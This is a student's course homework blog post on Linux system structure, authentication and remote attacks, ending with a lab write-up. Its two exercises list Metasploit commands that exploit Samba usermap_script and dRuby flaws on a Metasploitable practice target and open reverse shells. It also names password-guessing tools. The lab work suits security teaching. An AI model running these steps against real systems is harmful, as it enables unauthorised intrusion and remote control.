20199130 2019-2020-2 《网络攻防实践》第八次作业

20199130 2019-2020-2 《网络攻防实践》第八次作业

本次作业属于那个课程 《网络攻防实践》
这个作业要求在哪里 《Linux操作系统安全攻防》
作业正文 下述正文

1. Linux系统结构

一套基于Linux内核得完整操作系统叫做linux操作系统,它包括Linux内核,一些GNU运行库和工具,命令行shell,图形界面X窗口系统及相应的桌面环境。
在硬件抽象层之上是内核服务功能模块,包括进程管理、内存管理、文件系统、设备控制与网络这五个子系统。他们都通过系统调用接口向用户态得GUN运行库及和工具、命令行shell、X窗口以及应用软件提供服务。

  • Linux进程与线程管理机制:
    Linux采用抢占式多用户进程模式,多个进程并发活动,由内核的进程管理模块来负责调度硬件资源进行使用,进程作为最基本的调度单元,维护一个进程控制块结构,由内核schedule进程调度函数来依据进程优先级和CPU等资源情况来选择进程进行执行。
  • Linux的内存管理机制:
    Linux的内存管理模块MM,允许多个进程安全地共享物理内存区域。支持虚拟内存管理,在32位机器上,每个进程拥有独立的4GB虚拟内存空间,其中内核的代码与数据段被映射到3GB以上的空间,用户态代码申请的虚拟内存空间为0-3GB区间,每个进程使用两套段描述符分别访问内核态和用户态的内存空间。
  • Linux的文件系统管理机制:
    虚拟文件管理VFS机制,使得其能够支持数十种不同类型的逻辑文件系统,VFS为用户进程提供了一组通用的文件系统调用函数,可以对不同文件系统中的文件进行统一操作。
  • Linux的设备控制机制:
    处理或者管理硬件控制器的软件叫做设备驱动程序。Linux支持三类硬件设备:字符设备、块设备和网络设备。
  • Linux的网络机制:
    网络模块提供了对各种网络标准的存取和各种网络硬件的支持。网络接口可分为网络协议栈和网络驱动程序。网络协议栈实现每一种可能的网络传输协议;网络设备驱动程序负责与硬件设备通信。
  • Linux的系统调用机制:
    Linux提供系统调用接口,允许应用程序透过接口访问硬件设备和其他系统资源,并为用户空间提供了一种统一的抽象接口。

2. Linux身份认证

  • Linux用户:用户信息储存在/etc/password文件中
    (1)root用户:系统中是唯一的超级用户,可以操作系统中任何文件与命令
    (2)普通用户:由使用者创建的登录系统并执行基本计算任务的用户,只能操作自己目录中的内容
    (3)系统用户:不具有登录系统的能力,但是是系统运行不可缺少的用户
  • Linux用户组:用户组的信息保存在系统的/etc/group/文件中,加密口令保存在/etc/gshadow/中
    具有相同特征的用户账户集合,用于简化整个系统的用户权限管理。通过修改文件或目录的权限,让用户组具有一定的操作权限,这样用户组下的用户对该文件或目录都具有相同的权限。
    目前Linux系统普遍使用SSH服务来进行远程用户登录与网络访问,SSH提供暗中方式的用户身份认证机制:
    (1)基于口令的身份认证
    (2)基于非对称秘钥的身份认证
    (3)Linux本地登录用户认证机制
    (4)Linux远程登录用户认证机制
    PAM通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开。系统管理员通过PAM配置文件制定身份认证策略。
    PAM服务模块开发者利用PAM SPI编写认证模块。
    PAM核心库读取配置文件。
    PAM支持的四种管理界面有四种:(1)认证管理(2)账户管理(3)密码管理(4)会话管理

3. Linux系统远程攻防技术

从远程网络侵入Linux系统的主要方法有以下四种:
(1)对Linux系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击,从而假冒其身份进入系统
(2)发掘Linux系统某个监听网络服务的安全漏洞并进行利用,在攻击目标服务进程中注入攻击负载模块代码进行执行
(3)通过网页木马、发送诈欺邮件、提供特洛伊木马程序等技术和社会工程学手段攻击客户端程序和用户
(4)在Linux系统作为连接多个网络的路由器或打开“混杂模式”实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击

4. Linux系统远程攻防技术

Linux远程口令字猜测攻击:目前最基本最流行的攻击方式。针对ssh、telnet、ftp、http等服务的口令猜测攻击是互联网所面临的攻陷系统最普遍的攻击模式。
支持攻击者进行自动化远程口令猜测工具,比较流行的有以下几种:brutus、thc hydra、cain and abel

5.实践作业

实践一、使用Metaploit进行Linux远程渗透攻击
1)使用Metaspolit作为渗透测试软件,攻击Linux靶机上的Samba服务usermap_script安全漏洞,获取Linux靶机的主机访问权限。实践步骤如下:
2)使用exploit:exploit/multi/samba/usermap_script渗透攻击模块
3)选择攻击PAYLOAD为远程shell
4)设置攻击参数
5)执行攻击
6)查看是否得到正确的远程shell

  • 在kali中输入命令msfconsole进入exploitable

  • 输入命令use exploit/multi/samba/usermap_script选择渗透攻击模块

  • 然后进行show options

  • 通过命令set PAYLOAD cmd/unix/reverse来设置攻击负载

  • 设置攻击机IP地址192.168.200.3和靶机IP地址192.168.200.125,使用exploit进行攻击

  • 通过命令whoami获得管理权限


实践二、攻防对抗实验
1)攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机试试网络攻击,防御方在Metasploitable上使用wireshark捕获攻击流
2)攻击方:使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。
3)防守方:使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息

  • 在kali中使用命令nmap -sV 192.168.200.125来扫描靶机,查看开放的端口和端口上程序的版本

  • 打开kali中的Nessus,设置靶机IP地址192.168.200.125扫描靶机的漏洞

  • 选择dRuby漏洞作为我们的攻击漏洞,在kali中输入msfconsole进入exploitable,然后使用命令search deb

  • 选择use exploit/linux/misc/drb_remote_codeexec作为我们的渗透攻击模块,设置攻击负载set PAYLOAD cmd/unix/reverse并设置攻击机IP地址192.168.200.3和靶机IP地址192.168.200.125,最后通过exploit进行攻击过程

  • 输入命令shell打开shell,并输入id查看shell权限账户及其所在的权限组

6.遇到问题及解决方法

(1)在kali浏览器中直接输入网址不能打开Nessus扫描漏洞

解决方法:重启电脑,并且重新在kali中重新安装Nessus

7.心得体会

本次实验操作比较简单,但是有些原理性东西没有了解透彻,希望下次可以有所进步吧。

posted @ 2020-04-22 18:11  yzf0425  阅读(194)  评论(0编辑  收藏  举报